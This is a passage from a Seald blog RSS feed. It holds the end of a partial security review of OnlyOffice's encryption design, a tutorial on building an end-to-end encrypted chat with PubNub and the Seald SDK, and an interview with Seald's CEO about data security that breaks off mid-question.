</code></pre><p>There is no mechanism that I've seen that prevents the OnlyOffice server from introducing a new participant to the room. This is a literal backdoor : the server could become malicious to modify the keys in this array with a new public key, for which it has the private key, nearly silently (it could decrypt / reencrypt for the other participants on-the-fly to keep the same number of participants).</p><p>This issue is <strong>MAJOR</strong> as this can lead to a literal backdoor if the servers are actively hacked.</p><p>The strategy around this issue would be to sign the list of the participants (metadata &amp; public keys) in such a way that the server cannot lie, or at least that it cannot lie once the participants have verified a client-side generated hash of the participants list via another channel at one point in the life-cycle of the privacyRoom (this is called the Trust On First Use paradigm, or TOFU). If signatures are introduced, separate key pairs will be needed, as one cannot sign and encrypt with the same key pair.</p><h2 id="conclusion">Conclusion</h2><p>This report is based on a partial code review only, we may have misunderstood some of the codebase, the findings need to be confirmed by the development team of OnlyOffice. The recommendations we made may have themselves flaws we are not aware of, their robustness needs to be confirmed as well before implementing them.</p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2022/07/AdobeStock_93086214-01.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[How to build an end-to-end encrypted chat with PubNub and Seald 🔒💬]]></title>
            <link>https://www.seald.io/blog/build-end-to-end-encrypted-chat-with-pubnub-and-seald</link>
            <guid>https://www.seald.io/blog/build-end-to-end-encrypted-chat-with-pubnub-and-seald</guid>
            <pubDate>Mon, 27 Jun 2022 15:09:37 GMT</pubDate>
            <description><![CDATA[Seald.io offers an SDK that allows you to do end-to-end encryption, with advanced management features, without any prior cryptographic knowledge. This SDK can be integrated into web, backend, mobile, or desktop applications.]]></description>
            <content:encoded><![CDATA[<p>Hello 👋</p><p>Today, let's discover <strong>how to build an</strong> <strong>encrypted chat</strong> with <strong>Pubnub</strong> and the <strong>seald SDK.</strong></p><p>👉 A fully working example of how to use PubNub and Seald can be found on: <a href="https://github.com/seald/pubnub-example-project?ref=blog.seald.io">https://github.com/seald/pubnub-example-project</a></p><p><strong>What's Pubnub ?</strong> PubNub is a real-time communication service that can be integrated into most applications. Reliable and scalable, it can easily be integrated with most common frameworks.</p><p><strong>What's Seald ?</strong> Seald.io offers an SDK that allows you to do <strong>end-to-end encryption</strong>, with advanced management features, <strong>without any priorcryptographic knowledge.</strong> This SDK can be integrated into web, backend, mobile, or desktop applications.</p><h2 id="why-use-end-to-end-encryption-">Why use end-to-end encryption? 🔒</h2><p>End-to-end encryption offers <strong>the highest level of privacy and security.</strong> It allows encrypting sensitive data as soon as they are collected. An early encryption will reduce the attack surface of your app. Another advantage is that you can precisely <strong>manage who can access the data.</strong> This will also protect when it is not in your scope, <strong>like third party services.</strong></p><p>End-to-end encryption allows you <strong>to keep control at all times,</strong> when your data is in transit, when it is at rest, even when it is not in your hand. Thus, it offers a fare wider protection than other encryption technologies (TLS,full-disk-encryption, ...).</p><p>Whenever you face a case where <strong>compliance is important</strong> (GDPR, HIPAA, SOC-2,...) or where you have <strong>sensitive data</strong> (medical, defense,...), end-to-end encryption is a must-have. But even for more commonplace data, it's good practice to have. A data breach is a devastating event that is becoming<strong> more and more frequent.</strong></p><h2 id="why-use-seald-io-instead-of-pubnub-encryption-hook-">Why use Seald.io instead of PubNub encryption hook 👀</h2><!--kg-card-begin: markdown--><p>PubNub SDK offers a simple encryption hook, using the <code>cipherKey</code> argument when instantiating its SDK. Doing so will ensure that all uploaded messages are encrypted <strong>before being sent.</strong> However, you have to do the key management yourself, which is <strong>the hardest part</strong> of an end-to-end encrypted system.</p>
<p>Vulnerabilities rarely come from the encryption itself, but most often <strong>from keys being leaked</strong> through flaws in the security model.</p>
<p>Using a third-party service for your security allows you <strong>to not have a single point of failure.</strong> Seald.io proposes a robust security model, <strong>certified by the ANSSI,</strong> with real-time access-management control, user revocation and recovery, 2FA, and more.</p>
<!--kg-card-end: markdown--><h2 id="goals-">Goals 🏆</h2><!--kg-card-begin: markdown--><p>This article explains how to integrate Seald with PubNub <strong>step-by-step,</strong> in order to secure your chat with end-to-end encryption. We will build <strong>an example messaging app,</strong> with the following features:</p>
<ul>
<li>One-to-one and group chat rooms.</li>
<li>Each member has a dedicated chat room with every other user.</li>
<li>Anyone can create a group chat room with multiple other users.</li>
<li>Use end-to-end encryption for every message and file sent.</li>
<li>Allow real-time access-management to chats.</li>
</ul>
<!--kg-card-end: markdown--><h2 id="implementation-">Implementation 🧠</h2><h3 id="set-up-a-pubnub-account-">Set up a PubNub account 👤</h3><!--kg-card-begin: markdown--><p>To get started, you will need <strong>a PubNub account.</strong> You can sign up <a href="https://admin.pubnub.com/?ref=blog.seald.io#/login">here</a>. Once logged in on your dashboard, you should see that <strong>a demo app</strong> with a demo keyset has been created.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2022/06/image.png" class="kg-image" alt loading="lazy" width="1142" height="158" srcset="https://blog.seald.io/content/images/size/w600/2022/06/image.png 600w, https://blog.seald.io/content/images/size/w1000/2022/06/image.png 1000w, https://blog.seald.io/content/images/2022/06/image.png 1142w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p><strong>Select the demo keyset,</strong> and scroll to the configuration tab. For our demo, we need to activate <code>Files</code> and <code>Objects</code> permissions. For the <code>Object</code> permission, we will use the following events: <code>User Metadata Events</code>, <code>Channel Metadata Events</code> and<code>Membership Events</code>.</p>
<p>Once the keyset is created and configured, <strong>we need to copy it to our frontend.</strong></p>
<p>Let's create a JSON file on the <code>src/</code> folder, called <code>settings.json</code>. We will use this file for all the API keys we will need. Starting with the PubNub keyset:</p>
<pre><code class="language-json">{
  &quot;PUBNUB_PUB_KEY&quot;: &quot;pub-c-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX&quot;,
  &quot;PUBNUB_SUB_KEY&quot;: &quot;sub-c-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX&quot;
}
</code></pre>
<!--kg-card-end: markdown--><h3 id="building-a-basic-chat-using-pubnub-">Building a basic chat using PubNub 💬</h3><!--kg-card-begin: markdown--><p>We will use PubNub for almost <strong>every backend task.</strong> Our backend will only handle user sign-up/sign-in, and use a minimalist user model with only an ID, a name, and an email.</p>
<p>On the front side, we need a small authentication interface.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2022/06/image-1.png" class="kg-image" alt loading="lazy" width="452" height="549"></figure><!--kg-card-begin: markdown--><p>Once the user has an account, the first thing they need is an instance of the PubNub SDK.</p>
<p><strong>To identify the user on Pubnub,</strong> we need to provide a UUID. To keep things simple, we will use the same id as on our backend.</p>
<pre><code class="language-js">/* frontend/src/App.js */

import settings from './settings.json' // our settings file for API keys

/*
...
*/

const pubnub = new PubNub({
    publishKey: settings.PUBNUB_PUB_KEY,
    subscribeKey: settings.PUBNUB_SUB_KEY,
    uuid: currentUser.id
})
</code></pre>
<p>To keep our backend as simple as possible, we will use PubNub's user metadata to exchange users' info. <strong>Just after the SDK instantiation,</strong> we simply call PubNub <code>setUUIDMetadata</code> function.</p>
<pre><code class="language-js">/* frontend/src/App.js */

await pubnub.objects.setUUIDMetadata({
  uuid: currentUser.id,
  data: {
    email: currentUser.emailAddress,
    name: currentUser.name
  }
})
</code></pre>
<!--kg-card-end: markdown--><h3 id="getting-initial-app-state-">Getting initial app state 🌱</h3><!--kg-card-begin: markdown--><p><strong>The first thing</strong> to do with PubNub is to retrieve all existing members and store them in our local data store.</p>
<pre><code class="language-js">/* frontend/src/App.js */

const existingMembers = await pubnub.objects.getAllUUIDMetadata()
dispatch({
  type: SET_USERS,
  payload: {
    users: existingMembers.data.map(u =&gt; new User({ id: u.id, name: u.name, emailAddress: u.email }))
  }
})
</code></pre>
<p>Each chat room will correspond to a PubNub channel. We will also add some metadata to each channel:</p>
<ul>
<li><code>ownerId</code>: The ID of the user who created the room.</li>
<li><code>one2one</code>: A boolean to differentiate direct messaging rooms, and group rooms.</li>
<li><code>archived</code>: A boolean, to hide a deleted group room.</li>
</ul>
<p>The <code>ownerId</code> metadata will be used later, when adding the Seald SDK. PubNub doesn't have an ownership concept, but Seald does. It will define who can add or remove users from a channel. It basically defines a group administrator.</p>
<p>We will start by <strong>retrieving existing chat rooms.</strong> We will also need the room metadata, so we need to include custom fields. Then, we need to filter out archived rooms, and send everything to our data store. Finally, we <code>subscribe</code> to the PubNub channel associated with the room, so we will receive new messages.</p>
<pre><code class="language-js">/* frontend/src/App.js */

// Retrieve rooms of which we are members
const memberships = await pubnub.objects.getMemberships({
  include: {
    customChannelFields: true
  }
})
const knownRooms = []
// For each room, retrieve room members
for (const room of memberships.data.filter(r =&gt; !r.channel.custom.archived)) {
  const roomMembers = await pubnub.objects.getChannelMembers({ channel: room.channel.id })
  knownRooms.push(new Room({
    id: room.channel.id,
    name: room.channel.name,
    users: roomMembers.data.map(u =&gt; u.uuid.id),
    ownerId: room.channel.custom.ownerId,
    one2one: room.channel.custom.one2one
  }))
}
// Store rooms in our data store
dispatch({
  type: SET_ROOMS,
  payload: {
    rooms: knownRooms
  }
})
// Subscribe to channels to get new messages
pubnub.subscribe({ channels: knownRooms.map(r =&gt; r.id) })
</code></pre>
<p>Now we have fetched all the rooms we are in. We need one last thing to finish app initialization: ensuring we have a <code>one2one</code> room with every other member, including newly registered ones.</p>
<p>For every newly found user, <strong>we will create</strong> a new room and send a hello message. Then, we will set the room's metadata, and subscribe to it.</p>
<pre><code class="language-js">/* frontend/src/App.js */

// Ensure that we have a one2one room with everyone
const one2oneRooms = knownRooms.filter(r =&gt; r.one2one)
for (const m of existingMembers.data.filter(u =&gt; u.id!== currentUser.id)) {
    if (!one2oneRooms.find(r =&gt; r.users.includes(m.id))) {
      // New user found: generating a new one2one room
      const newRoomId = PubNub.generateUUID()
      const newRoom = new Room({
            id: newRoomId,
            users: [currentUser.id, m.id],
            one2one: true,
            name: m.name,
            ownerId: currentUser.id
          })
      // Add the new room to our local list
      dispatch({
        type: EDIT_OR_ADD_ROOM,
        payload: {
          room: new Room({
            id: newRoomId,
            users: [currentUser.id, m.id],
            one2one: true,
            name: m.name, ownerId: currentUser.id
          })
        }
      })
      // Publish a &quot;Hello&quot; message in the room
      await pubnub.publish({
        channel: newRoomId,
        message: {
          type: 'message',
          data: (await sealdSession.encryptMessage('Hello 👋'))
        }
      })
      // Subscribe to the new room
      pubnub.subscribe({ channels: [newRoomId] })
      await pubnub.objects.setChannelMetadata({
        channel: newRoomId,
        data: {
          name: 'one2one',
          custom: {
            one2one: true,
            ownerId: currentUser.id,
          },
        }
      })
      await pubnub.objects.setChannelMembers({
        channel: newRoomId,
        uuids: [currentUser.id, m.id]
      })
    }
}
</code></pre>
<p>Once all that is done, our initial app state <strong>is fully defined.</strong> However, we need to keep it up to date.</p>
<p>It can be done simply by adding an event listener for <code>membership</code> events.</p>
<pre><code class="language-js">/* frontend/src/App.js */

pubnub.addListener({
  objects: async function(objectEvent) {
    if (objectEvent.message.type === 'membership') {
      if (objectEvent.message.event === 'delete') { // User is removed from a room
        /*
        Removing the room from store...
        */
      }
      if (objectEvent.message.event === 'set') { // User is added to a room
        const metadata = await pubnub.objects.getChannelMetadata({ channel: objectEvent.message.data.channel.id })
        const roomMembers = (await pubnub.objects.getChannelMembers({ channel: objectEvent.message.data.channel.id })).data.map(u =&gt; u.uuid.id)
        /*
        Adding new room to store + subscribing to new room channel...
        */
      }
    }
  }
})
pubnub.subscribe({ channels: [currentUser.id] }) // channel on which events concerning the current user are published
</code></pre>
<p>We can now have a look at a <code>one2one</code> chat room itself. Then we will handle group rooms.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h4 id="receivingandsendingmessagesinachatroom">Receiving and sending messages in a chat room 📩</h4>
<p>In a <code>chat.js</code> file, we will have all the logic to display the messages of a chat room.</p>
<p><strong>To initialize this room,</strong> the only thing we need to do is to fetch all pre-existing messages. It can be done simply by knowing the room ID.</p>
<pre><code class="language-js">/* frontend/src/components/Chat.jsx */

const fetchedMessages = (await pubnub.fetchMessages({ channels: [currentRoomId] })).channels[currentRoomId]
</code></pre>
<p>We can subscribe to the channel to get new messages, and add a listener to display them in real-time.</p>
<pre><code class="language-js">/* frontend/src/components/Chat.jsx */

pubnub.addListener({ message: handleReceiveMessage })
pubnub.subscribe({ channels: [currentRoomId] })
</code></pre>
<p>To send a message, we simply need to publish it on the channel:</p>
<pre><code class="language-js">/* frontend/src/components/Chat.jsx */

const handleSubmitMessage = async e =&gt; {
  /* Some checks that the room is in a correct state... */
  await pubnub.publish({
    channel: state.room.id,
    message: {
      type: 'message',
      data: state.message
    }
  })
}
</code></pre>
<p><strong>To send a file,</strong> we will first upload it to PubNub. Then we will get the uploaded file URI, and publish it as a message in the chat room.</p>
<pre><code class="language-js">/* frontend/src/components/UploadButton.jsx */

// Upload Encrypted file
const uploadData = await pubnub.sendFile({
  channel: room.id,
  file: myFile,
  storeInHistory: false
})
const fileURL = await pubnub.getFileUrl({ id: uploadData.id, name: uploadData.name, channel: room.id })
await pubnub.publish({
  channel: state.room.id,
  message: {
    type: 'file',
    url: fileURL,
    fileName: await sealdSession.encryptMessage(selectedFiles[0].name)
  }
})
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h4 id="managinggroupchat">Managing group chat 👨‍👩‍👦‍👦</h4>
<p>To create and manage groups, we will need an interface for selecting users.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2022/06/image-2.png" class="kg-image" alt loading="lazy" width="510" height="431"></figure><!--kg-card-begin: markdown--><p><strong>Once the group members have been selected,</strong> we can create a PubNub channel for our room, then set metadata and membership for the channel. The code is very similar to what is done for one2one rooms, so we will not repeat it here.</p>
<p>We now have a full chat app. <strong>Let's add end-to-end encryption for every message!</strong></p>
<!--kg-card-end: markdown--><h3 id="adding-end-to-end-encryption-with-seald-">Adding end-to-end encryption with Seald 🔒💬</h3><!--kg-card-begin: markdown--><h4 id="setupasealdaccount">Set up a Seald account 👤</h4>
<p>To start with Seald, <strong>create a free trial account</strong> <a href="https://www.seald.io/create-sdk?ref=blog.seald.io">here</a></p>
<p>When landing on the Seald dashboard, a few URLs and API tokens are displayed.<br>
Get the following elements:</p>
<ul>
<li>appId</li>
<li>apiURL</li>
<li>keyStorageURL</li>
</ul>
<p>We will add these keys to our <code>settings.json</code></p>
<pre><code class="language-json">{
  &quot;PUBNUB_PUB_KEY&quot;: &quot;pub-c-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX&quot;,
  &quot;PUBNUB_SUB_KEY&quot;: &quot;sub-c-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX&quot;,
  &quot;SEALD_APP_ID&quot;: &quot;XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX&quot;,
  &quot;SEALD_API_URL&quot;: &quot;https://api.staging-0.seald.io&quot;,
  &quot;SEALD_KEYSTORAGE_URL&quot;: &quot;https://ssks.staging-0.seald.io&quot;
}
</code></pre>
<p><strong>To be able to use the Seald SDK,</strong> every user needs a licence JWT when signing-up.</p>
<p>These JWT needs to be generated on the backend using a secret and a secret ID.</p>
<p>From the dashboard landing page, copy the JWT secret and its associated ID in <code>backend/settings.json</code></p>
<pre><code class="language-json">{
  &quot;SEALD_JWT_SECRET_ID&quot;: &quot;XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX&quot;,
  &quot;SEALD_JWT_SECRET&quot;: &quot;XXXXXXXXXXXXXXXXXXXXXXXX&quot;
}
</code></pre>
<p>During the signup API call, we will generate a Seald licence JWT, and return it back.</p>
<pre><code class="language-js">/* backend/routes/account.js */

const token = new SignJWT({
  iss: settings.SEALD_JWT_SECRET_ID,
  jti: uuidv4(), /// Random string with enough entropy to never repeat.
  iat: Math.floor(Date.now() / 1000), // JWT valid only for 10 minutes. `Date.now()` returns the  in milliseconds, this needs it in seconds.
  scopes: [3], // PERMISSION_JOIN_TEAM
  join_team: true
})
  .setProtectedHeader({ alg: 'HS256' })

const signupJWT = await token.sign(Buffer.from(settings.SEALD_JWT_SECRET, 'ascii'))
</code></pre>
<p>For more information about this, see <a href="https://docs.seald.io/en/sdk/guides/jwt.html?ref=blog.seald.io#creating-a-json-web-token">our documentation article about JWT</a>.</p>
<p>Then, we need <strong>to install the Seald SDK.</strong></p>
<p><strong>We also need to install a plugin</strong> to identify users on the Seald server. To do so, we will use the <code>sdk-plugin-ssks-password</code> package.</p>
<p>This plugin allows for simple password authentication of our users.</p>
<pre><code class="language-bash">npm i -S @seald-io/sdk @seald-io/sdk-plugin-ssks-password
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h4 id="instantiatingthesealdsdk">Instantiating the Seald SDK 💡</h4>
<p>Then, we will create a <code>seald.js</code> file. In this file, we will start by creating a function to instantiate the Seald SDK.</p>
<pre><code class="language-js">/* frontend/src/services/seald.js */

import SealdSDK from '@seald-io/sdk-web'
import SealdSDKPluginSSKSPassword from '@seald-io/sdk-plugin-ssks-password'
import settings from './settings.json'

let sealdSDKInstance = null

const instantiateSealdSDK = async () =&gt; {
  sealdSDKInstance = SealdSDK({
    appId: settings.SEALD_APP_ID,
    apiURL: settings.SEALD_API_URL,
    plugins: [SealdSDKPluginSSKSPassword(settings.SEALD_KEYSTORAGE_URL)]
  })
}
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h4 id="creatingandretrievingsealdidentities">Creating and retrieving Seald identities 🔑</h4>
<p>In <code>seald.js</code>, we will also add two function: one to create an identity and one to retrieve one. <strong>To create an identity,</strong> we also need the licence JWT returned at account creation.</p>
<pre><code class="language-js">/* frontend/src/services/seald.js */

export const createIdentity = async ({ userId, password, signupJWT }) =&gt; {
  await instantiateSealdSDK()
  await sealdSDKInstance.initiateIdentity({ signupJWT })
  await sealdSDKInstance.ssksPassword.saveIdentity({ userId, password })
}

export const retrieveIdentity = async ({ userId, password }) =&gt; {
  await instantiateSealdSDK()
  await sealdSDKInstance.ssksPassword.retrieveIdentity({ userId, password })
}
</code></pre>
<p>During our signup and sign-in flows, we just need to call these functions after the user has logged in.</p>
<p>At this point, every time our user is connected, he has a working Seald SDK, <strong>ready to encrypt and decrypt!</strong></p>
<p>Warning: For proper security, the password should be pre-hashed before being sent to the authentication server. For more details on this, please see <a href="https://docs.seald.io/en/sdk/guides/4-identities.html?ref=blog.seald.io#password-also-used-for-authentication">the paragraph about password authentication in our documentation</a>.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h4 id="startencryptinganddecryptingmessages">Start encrypting and decrypting messages 🔒🔓</h4>
<p>Each chat room will be associated with an <code>encryptionSession</code> on the Seald SDK.</p>
<p>Every time we create a chat room, <strong>we simply have to add one line to create the encryption session,</strong> then use it:</p>
<pre><code class="language-js">/* frontend/src/App.js */

// Create a Seald session
const sealdSession = await getSealdSDKInstance().createEncryptionSession(
  { userIds: [currentUser.id, m.id] },
  { metadata: newRoomId }
)
// Publish a &quot;Hello&quot; message in the room
await pubnub.publish({
  channel: newRoomId,
  message: {
    type: 'message',
    data: (await sealdSession.encryptMessage('Hello 👋'))
  }
})
</code></pre>
<p>Note that our user is included by default as a recipient of the <code>encryptionSession</code></p>
<p>When accessing a room, we need to get the corresponding <code>encryptionSession</code>. It can be retrieved from any encrypted messages or file. Once we have it, we'll keep it in component reference.</p>
<p>Then we can simply use <code>session.encryptMessage</code>,<code>session.encryptFile</code>, <code>session.decryptMessage</code> and <code>session.decryptFile</code> functions.</p>
<p>Let's start with the messages. To send a message:</p>
<pre><code class="language-js">/* frontend/src/components/Chat.js */

const handleSubmitMessage = async m =&gt; {
  /* Some validation that we are in a valid room... */

  // if there is no encryption session set in cache yet, create one
  // (should never happen, as a &quot;Hello&quot; is sent on room creation)
  if (!sealdSessionRef.current) {
    sealdSessionRef.current = await getSealdSDKInstance().createEncryptionSession(
      { userIds: state.room.users },
      { metadata: state.room.id }
    )
  }
  // use the session to encrypt the message we are trying to send
  const encryptedMessage = await sealdSessionRef.current.encryptMessage(state.message)
  // publish the encrypted message to pubnub
  await pubnub.publish({
    channel: state.room.id,
    message: {
      type: 'message',
      data: encryptedMessage
    }
  })

  /* Some cleanup... */
}
</code></pre>
<p>And when we receive a message:</p>
<pre><code class="language-js">/* frontend/src/components/Chat.js */

const decryptMessage = async m =&gt; {
  /* Filter out files... */
  let encryptedData = m.message.data

  if (!sealdSessionRef.current) { // no encryption session set in cache yet
    // we try to get it by parsing the current message
    sealdSessionRef.current = await getSealdSDKInstance().retrieveEncryptionSession({ encryptedMessage: encryptedData })
    // now that we have a session loaded, let's decrypt
  }
  const decryptedData = await sealdSessionRef.current.decryptMessage(encryptedData)
  // we have successfully decrypted the message
  return {
    ...m,
    uuid: m.uuid || m.publisher,
    value: decryptedData
  }
  /* Some error handling... */
}

/* Other stuff... */

const handleReceiveMessage = async m =&gt; {
  const decryptedMessage = await decryptMessage(m)
  setState(draft =&gt; {
    draft.messages = [...draft.messages, decryptedMessage]
  })
}
</code></pre>
<p>Also, we use this <code>decryptMessage</code> function to decrypt all messages already in the session when opening a room:</p>
<pre><code class="language-js">/* frontend/src/components/Chat.js */

const fetchedMessages = (await pubnub.fetchMessages({ channels: [currentRoomId] })).channels[currentRoomId]
const clearMessages = fetchedMessages ? await Promise.all(fetchedMessages.map(decryptMessage)) : []
</code></pre>
<p>And now for files. To upload a file:</p>
<pre><code class="language-js">/* frontend/src/components/UploadButton.js */

// Encrypt file
const encryptedBlob = await sealdSession.encryptFile(
  selectedFiles[0],
  selectedFiles[0].name,
  { fileSize: selectedFiles[0].size }
)
const encryptedFile = new File([encryptedBlob], selectedFiles[0].name)
// Upload Encrypted file
const uploadData = await pubnub.sendFile({
  channel: room.id,
  file: encryptedFile,
  storeInHistory: false
})
</code></pre>
<p>And to decrypt a file:</p>
<pre><code class="language-js">/* frontend/src/components/Message.js */

const onClick = async () =&gt; {
  if (state.data.type === 'file') {
    const response = await fetch(state.data.url)
    const encryptedBlob = await response.blob()
    const { data: clearBlob, filename } = await sealdSession.decryptFile(encryptedBlob)
    const href = window.URL.createObjectURL(clearBlob)
    /* Create an &lt;a&gt; element and simulate a click on it to download the created objectURL */
  }
}
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h4 id="managinggroupmembers">Managing group members 👨‍👩‍👦</h4>
<p>Group chats will also have their <code>encryptionSession</code>. Every time a group is created, we need to create one.</p>
<pre><code class="language-js">/* frontend/src/components/ManageDialogRoom.js.js */

// To create the encryptionSession
const sealdSession = await getSealdSDKInstance().createEncryptionSession(
  { userIds: dialogRoom.selectedUsersId },
  { metadata: newRoomId }
)
</code></pre>
<p>Then, <strong>every time we modify group members,</strong> we will need to add or remove them from it.</p>
<pre><code class="language-js">/* frontend/src/components/ManageDialogRoom.js.js */

// we compare old and new members to figure out which ones were just added or removed

const usersToRemove = dialogRoom.room.users.filter(id =&gt; !dialogRoom.selectedUsersId.includes(id))
const usersToAdd = dialogRoom.selectedUsersId.filter(id =&gt; !dialogRoom.room.users.includes(id))

if (usersToAdd.length &gt; 0) {
  // for every added user, add them to the Seald session
  await dialogRoom.sealdSession.addRecipients({ userIds: usersToAdd })
  // then add them to the pubnub channel
  await pubnub.objects.setChannelMembers({
    channel: dialogRoom.room.id,
    uuids: usersToAdd
  })
}

if (usersToRemove.length &gt; 0) {
  // for every removed user, revoke them from the Seald session
  await dialogRoom.sealdSession.revokeRecipients({ userIds: usersToRemove })
  // then remove them from the pubnub channel
  for (const u of usersToRemove) {
    await pubnub.objects.removeMemberships({
      channels: [dialogRoom.room.id],
      uuid: u
    })
  }
}
</code></pre>
<!--kg-card-end: markdown--><h2 id="conclusion-">Conclusion ✅</h2><p>Once that's done, we're finished!</p><p>We managed<strong> to integrate Seald into PubNub</strong> with only a few lines of code.</p><p>Now that <strong>the chat is end-to-end encrypted,</strong> you can assure your users that their data will remain confidential, <strong>even in case of data breaches.</strong></p><p>As always, <strong>don’t hesitate to <a href="https://www.seald.io/discover?ref=blog.seald.io">contact us</a></strong> if you need any additional guidance.</p><p> Can’t wait to see what you've built 🥳.</p><p>ps: you use Stream instead of PubNub? <a href="https://www.seald.io/blog/creating-an-end-to-end-encrypted-chat-with-stream-and-seald?ref=blog.seald.io">Here's an article that explain how to integrate E2EE in Stream.</a></p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2022/06/PubNubxSeald_Plan-de-travail-1-copie-5.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[[Interview] Introduction to cybersecurity]]></title>
            <link>https://www.seald.io/blog/introduction-to-cybersecurity</link>
            <guid>https://www.seald.io/blog/introduction-to-cybersecurity</guid>
            <pubDate>Wed, 27 Apr 2022 10:05:09 GMT</pubDate>
            <description><![CDATA[Timothée Rebours, Seald: “it’s now nearly impossible to protect or even define the perimeter as everything's so intertwined”

With the number of connected devices and users growing by the minute, securing large amounts of sensitive data becomes increasingly more difficult.

As more aspects of our lives become digitized, many companies and institutions providing online services start to struggle with ensuring their user data is safe. Sure, implementing quality authentication measures or encryptin]]></description>
            <content:encoded><![CDATA[<blockquote>Timothée Rebours, Seald: “it’s now nearly impossible to protect or even define the perimeter as everything's so intertwined”</blockquote><p><em><strong>With the number of connected devices and users growing by the minute, securing large amounts of sensitive data becomes increasingly more difficult.</strong></em></p><p>As more aspects of our lives become digitized, many companies and institutions providing online services start to struggle with ensuring their user data is safe. Sure, implementing quality authentication measures or encrypting the organization’s network is a good start, but what about using encryption to secure sensitive customer data?<br><br>To talk about the importance of encryption when it comes to data security, we talked with Timothée Rebours, the CEO of Seald – a company making end-to-end encryption easier and more accessible for developers.<br></p><p><strong>How did Seald originate? What has your journey been like since your launch in 2016?</strong><br><br>The project behind Seald was created in Berkeley in 2015, following the meeting of cybersecurity enthusiasts and hackers. The company was incorporated in France in 2016.<br><br>Seald has a mission – to improve the security and privacy of millions of people. We've come a long way since the project's inception, and we've created a whole series of products over the years, most of them ended up being scrapped to find our current positioning for which the product-market fit is there.<br><br>Every journey is incredible. The team at Seald is passionate and brilliant. Plus, we meet a lot of exciting people and customers who help us build Seald. We are super proud of what we have built thanks to them.<br></p><p><strong>Can you introduce us to what you do? What is end-to-end encryption?</strong><br><br>We want to help application developers protect their users’ data without needing cryptography skills. Integrating Seald allows the company to reinforce customer trust, be in compliance, and minimize the consequences of a data leak.</p><p>End-to-end encryption is considered to be the technology that provides the highest level of security on your data, that's why it is used in popular instant messaging apps.</p><p>Basically, it protects data in such a way that no one except the authorized users are able to read the data, not even the servers hosting the data or the app developer (and not even Seald of course).<br></p><p><strong>In your opinion, what industries should be especially concerned about encrypting their data?</strong><br><br>We built Seald for companies that make data security a strategic priority.<br><br>Every industry has its own data security challenges: strengthening customer trust, achieving compliance, minimizing the consequences of a data breach, etc.<br><br>But, the industry with the most at stake when it comes to data security is e-health. Medical data is among the most sensitive (social security numbers, test results, reports, prescriptions, etc.) because a data breach in that field destroys brand trust and can even lead to jail time.<br><br>E-health companies are very careful to meet the strict regulatory requirements on medical data and ensure absolute confidentiality of the sensitive data they are entrusted with, in particular, to respect medical secrecy. But with the shift to SaaS apps for patients and health professionals (that the COVID crisis amplified) comes the question: how do we keep data safe in the cloud?<br><br>There's also the question of the US hosting providers' hegemony which causes political and compliance concerns over data sovereignty (with regards to the GDPR in particular). With end-to-end encryption, you can ensure no server has access to the data, including a US-based hosting provider.<br></p><p><strong>Have you noticed any new threats arise during the pandemic?</strong><br><br>Ransomware is known to crypto lock data and eventually unlock your data when you pay the ransom. We've seen something new in the past years – criminals now steal the data and threaten to leak it if the ransom is not paid.<br><br>This stresses the question of end-to-end encryption even more: if the servers can't read the data, there's nothing to leak.</p><p>Another thing we've observed (like everyone else) is a massive shift to digital solutions in the cloud, some of them are really shaky because they were developed quickly to match the rising demand.<br></p><p><strong>What measures should everyone implement to protect from these emerging threats?</strong><br><br>For years, the preferred way to protect an IT infrastructure was by implementing perimeter protection, building large walls around information systems, so that an attacker cannot penetrate them. The idea was to put everything sensitive within that perimeter. Except that it's now nearly impossible to protect (or even define really) the perimeter because everything's so intertwined.<br><br>Another way to see security is through security by design or zero-trust. The goal is to make an attack on any portion of the IT systems as inconsequential as possible.<br><br>When it comes to data protection, the main idea is to implement the principle of least privilege. Basically, it means adding encryption to each piece of data and giving the keys to decrypt only to the users or entities that are authorized to read the data. In most use cases, this is end-to-end encryption coupled with fine-grained encryption at rest.<br></p><p><strong>What would you consider the most serious threats surrounding web applications nowadays?</strong><br><br>Looking at the OWASP top 10, the two first items in 2021 are broken access control and failure to implement cryptography properly.<br><br>With Seald, access control is strengthened with cryptographic measures to ensure that even if a resource can be read by an attacker, they would still need to decrypt it.</p><p>And with Seald, cryptography is our specialty, we don't take it lightly, our code has been thoroughly and independently reviewed to ensure we didn't make any mistakes and that our users wouldn't have to worry about the subtleties of how to implement crypto.<br></p><p><strong>Could you share some best practices that organizations should adopt to protect their workforce and customer data?</strong></p><p>The first best practice is to take data security into account when first designing any data processing workflow. When it's designed, it's too late.</p><p>The second piece of advice is to be humble and organize security training both for developers to learn the best development practices and for all employees to detect phishing, etc.</p><p>The third piece of advice when developing software is:</p><ul><li>Do not let something known to be insecure be rolled out to production (password management, random generation, etc.),</li><li>Unit test &amp; e2e test everything (check code coverage),</li><li>Do systematic and thorough reviews before merging,</li><li>Test before rolling out to production.<br></li></ul><p><strong>Talking about the future, what predictions do you have for the data security landscape for the upcoming years?</strong><br><br>Everything will eventually be moved to the cloud rather than on-premise, and the question of the security in the cloud which is already in everyone's mind will become even more strategic as data breaches will happen more and more often.</p><p>Also, more pressure will be put on small companies to secure data (both in confidentiality and in availability) even at a very early stage.<br></p><p><strong>And finally, what does the future hold for 